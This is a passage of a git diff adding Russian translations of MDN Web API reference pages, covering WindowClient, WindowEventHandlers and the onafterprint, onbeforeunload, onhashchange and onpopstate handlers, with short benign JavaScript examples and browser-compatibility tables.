+<h2 id="Methods">Methods</h2>
+
+<p><em>This helper does not inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windowclient/index.html b/files/ru/web/api/windowclient/index.html
new file mode 100644
index 0000000000..66aed83307
--- /dev/null
+++ b/files/ru/web/api/windowclient/index.html
@@ -0,0 +1,98 @@
+---
+title: WindowClient
+slug: Web/API/WindowClient
+tags:
+  - API
+  - Client
+  - Experimental
+  - Interface
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - WindowClient
+translation_of: Web/API/WindowClient
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Интерфейс <code>WindowClient</code> <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> представляет область действия клиента сервис-воркера, который представляет собой документ в контексте просмотра, управляемый активным исполнителем. Клиент сервис-воркера самостоятельно выбирает и использует сервис-воркера для собственной загрузки и загрузки подресурсов.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><code>WindowClient</code> наследует методы от своего родительского интерфейса {{domxref("Client")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowClient.focus()")}}</dt>
+ <dd>Фокусирует пользователя на текущем окне.</dd>
+ <dt>{{domxref("WindowClient.navigate()")}}</dt>
+ <dd>Загружает указанный URL-адрес на управляемую клиентскую страницу.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>WindowClient</code> наследует методы от своего родительского интерфейса {{domxref("Client")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowClient.focused")}} {{readonlyInline}}</dt>
+ <dd>Логическое значение, указывающее, находится ли текущая страница в фокусе.</dd>
+ <dt>{{domxref("WindowClient.visibilityState")}} {{readonlyInline}}</dt>
+ <dd>Указывает, отоборажается ли текущая страница. Это значение может быть одним из <code>"hidden" (скрыта)</code>, <code>"visible" (отображена)</code> или <code>"prerender" (предварительно отрисована)</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // Проверяем, открыто ли окно и
+  // сфокусрованы ли на нем
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client) {
+        client.focus();
+        break;
+      }
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#windowclient', 'WindowClient')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div>
+
+
+<p>{{Compat("api.WindowClient")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис-воркеров</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Пример базового кода сервис-воркеров</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование веб-воркеров</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a></li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/index.html b/files/ru/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..cdd4a8258b
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/index.html
@@ -0,0 +1,189 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+tags:
+  - API
+  - HTML-DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>WindowEventHandlers</code></strong> describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and  {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement more event handlers.</p>
+
+<p><code>WindowEventHandlers</code> is a not an interface and no object of this type can be created.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("resize")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onlanguage</code> since the {{SpecName("HTML 5")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatNo}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onafterprint/index.html b/files/ru/web/api/windoweventhandlers/onafterprint/index.html
new file mode 100644
index 0000000000..3a7708b9a5
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onafterprint/index.html
@@ -0,0 +1,52 @@
+---
+title: WindowEventHandlers.onafterprint
+slug: Web/API/WindowEventHandlers/onafterprint
+translation_of: Web/API/WindowEventHandlers/onafterprint
+---
+<div>{{ApiRef}}</div>
+
+<p>Свойство <code>WindowEventHandlers.onafterprint</code> устанавливает и возвращает обработчик {{domxref("EventHandler")}} события {{event("afterprint")}} в текущем окне.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox"><em>window</em>.onafterprint = <em>код обработки события</em>
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Некоторые браузеры (включая Firefox 6 и его более поздние версии, и Internet Explorer) генерируют события <code>beforeprint</code> и <code>afterprint</code>, чтобы дать сигнал о процессе распечатки страницы. Вы можете использовать эти события, чтобы повлиять на интерфейс пользователя во время печати (например, показать или скрыть отдельные его части).</p>
+
+<p>Событие <code>afterprint</code> генерируется когда пользователь закончил печать или отменил её.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#windoweventhandlers', 'onafterprint')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onafterprint")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.print")}}</li>
+ <li>{{domxref("window.onbeforeprint")}}</li>
+ <li><a href="/en-US/docs/Printing" title="Printing">Printing</a></li>
+</ul>
+
+<div class="grammarly-disable-indicator"> </div>
diff --git a/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html b/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html
new file mode 100644
index 0000000000..f2e282cea5
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html
@@ -0,0 +1,87 @@
+---
+title: WindowEventHandlers.onbeforeunload
+slug: Web/API/WindowEventHandlers/onbeforeunload
+translation_of: Web/API/WindowEventHandlers/onbeforeunload
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p>Свойство обработчика события <code><strong>WindowEventHandlers.onbeforeunload</strong></code> содержит код, который выполняется при отправке события {{event("beforeunload")}}. Это событие срабатывает, когда окно браузера {{event("unload")}} свои ресурсы. При этом документ остаётся видимым и событие всё ещё можно отменить.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Для борьбы с нежелательными всплывающими окнами, некоторые браузеры не отображают текст передаваемый в beforeunload событии, если они не связаны с самой страницей; некоторые не показывают их вообще. Список конкретных браузеров смотрите в секции: {{anch("Совместимость_с_браузерами")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onbeforeunload = <var>funcRef</var></pre>
+
+<ul>
+ <li><code>funcRef</code> является ссылкой на функцию или выражение функции.</li>
+ <li>Функция должна назначать строковое значение свойству <code>returnValue</code> объекта Event и возвращать ту же строку.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.onbeforeunload = function(e) {
+  var dialogText = 'Dialog text here';
+  e.returnValue = dialogText;
+  return dialogText;
+};
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Когда это событие возвращает (или выставляет свойство returnValue)  значение, отличное от null или undefined, пользователю предлагается подтвердить {{event("unload")}} страницы в {{domxref("window.prompt", "prompt")}} . В некоторых браузерах возвращаемое значение отображается в этом диалоговом окне. Начиная с Firefox 4, Chrome 51, Opera 38 и Safari 9.1 вместо возвращаемой строки будет показана общая строка, не контролируемая страницей. Например, Firefox отображает строку: "This page is asking you to confirm that you want to leave - data you have entered may not be saved.". Смотрите {{bug("588292")}} и <a href="https://www.chromestatus.com/feature/5349061406228480">Chrome Platform Status</a>.</p>
+
+<p>С 25 мая 2011, в спецификации HTML5 указано, что исполнение методов {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} и {{domxref("window.prompt()")}} может игнорироваться во время этого события. Смотрите <a href="http://www.w3.org/TR/html5/webappapis.html#user-prompts">cпецификацию HTML5</a> чтобы узнать подробности.</p>
+
+<p>Также необходимо отметить, что различные мобильные браузеры игнорируют результат этого события (это является причиной, почему они не запрашивают подтверждения пользователя). Firefox имеет скрытую настройку в about:config для того, чтобы вести себя также. В сущности это значит, что пользователь постоянно подтверждает, что документ может быть выгружен.</p>
+
+<p>Вы <em>можете </em>и <em>должны </em>обрабатывать данное событие через {{domxref("EventTarget.addEventListener","window.addEventListener()")}} и событие {{event("beforeunload")}}. Больше документации доступно здесь.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Событие было первоначально добавлено Microsoft в Internet Explorer 4 и стандартизовано в HTML5 спецификации.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.WindowEventHandlers.onbeforeunload")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See also" name="See also">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ms536907(VS.85).aspx">MSDN: onbeforeunload event</a></li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onhashchange/index.html b/files/ru/web/api/windoweventhandlers/onhashchange/index.html
new file mode 100644
index 0000000000..0f84311d42
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onhashchange/index.html
@@ -0,0 +1,158 @@
+---
+title: WindowEventHandlers.onhashchange
+slug: Web/API/WindowEventHandlers/onhashchange
+translation_of: Web/API/WindowEventHandlers/onhashchange
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Событие <strong>hashchange</strong> происходит когда изменяется hash (смотри {{domxref("Window.location", "location.hash")}}).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onhashchange = funcRef;
+</pre>
+
+<p><strong>или</strong></p>
+
+<pre class="syntaxbox">&lt;body onhashchange="funcRef();"&gt;
+</pre>
+
+<p><strong>или</strong></p>
+
+<pre class="syntaxbox">window.addEventListener("hashchange", funcRef, false);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>funcRef</code></dt>
+ <dd>Ссылка на функцию.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">if ("onhashchange" in window) {
+    alert("The browser supports the hashchange event!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+</pre>
+
+<h2 id="The_hashchange_event">The hashchange event</h2>
+
+<p>The dispatched <code>hashchange</code> event has the following fields:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Field</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>newURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>The new URL to which the window is navigating.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>The previous URL from which the window was navigated.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>
+    <p>8.0</p>
+
+    <p><code style="font-size: 14px;">oldURL</code>/<code style="font-size: 14px;">newURL</code> attributes are not supported.</p>
+   </td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating the browser history">Manipulating the browser history</a>, <a href="/en-US/docs/DOM/window.history" title="DOM/window.history">history.pushState() and history.replaceState()</a> methods, <a href="/en-US/docs/DOM/window.onpopstate" title="DOM/window.onpopstate">popstate</a> event.</li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
new file mode 100644
index 0000000000..62d82bd693
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
@@ -0,0 +1,63 @@
+---
+title: WindowEventHandlers.onpopstate
+slug: Web/API/WindowEventHandlers/onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code>onpopstate</code> миксина {{domxref("WindowEventHandlers")}} является {{domxref("EventHandler")}} для обработки событий <code>popstate</code> для "window".</p>
+
+<p>Событие <code style="font-style: normal;">popstate</code> отсылается объекту window каждый раз, когда активная запись истории меняется с одной на другую для одного и того же документа. Если запись истории, ставшая активной, была создана вызовом <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;"><code>history.pushState()</code> </span>или изменена с помощью <code style="font-style: normal;">history.replaceState()</code>, свойство <code style="font-style: normal;">state</code> события <code style="font-style: normal;">popstate</code> содержит копию объекта состояния этой записи истории.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong>, просто вызов <code>history.pushState()</code> или <code>history.replaceState()</code> не вызовет событие <code>popstate</code>. Событие <code>popstate</code> срабатывает только тогда, когда происходят какие то действия в браузере, такие как нажатие кнопки "назад" (или вызов <code>history.back()</code> из JavaScript). Это событие срабатывает только когда пользователь переходит между двумя записями истории одного и того же документа.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.onpopstate = <var>funcRef</var>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> – функция обработчик.</li>
+</ul>
+
+<h2 id="The_popstate_event" name="The_popstate_event">Примеры</h2>
+
+<p>В качестве примера, страница <code>http://example.com/example.html</code>, исполняя нижеследующий код, сгенерирует всплывающие сообщения, как показано в комментариях:</p>
+
+<pre class="brush:js notranslate">window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для <code>http://example.com/example.html</code>) не имеет объекта события, связанного с ней, событие <code>popstate</code> все равно произойдет, когда мы активируем эту запись после второго вызова <code>history.back()</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate">HTML5 popstate event</a></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.WindowEventHandlers.onpopstate")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example">Ajax navigation example</a></li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onunload/index.html b/files/ru/web/api/windoweventhandlers/onunload/index.html
new file mode 100644
index 0000000000..3d908647e5
--- /dev/null
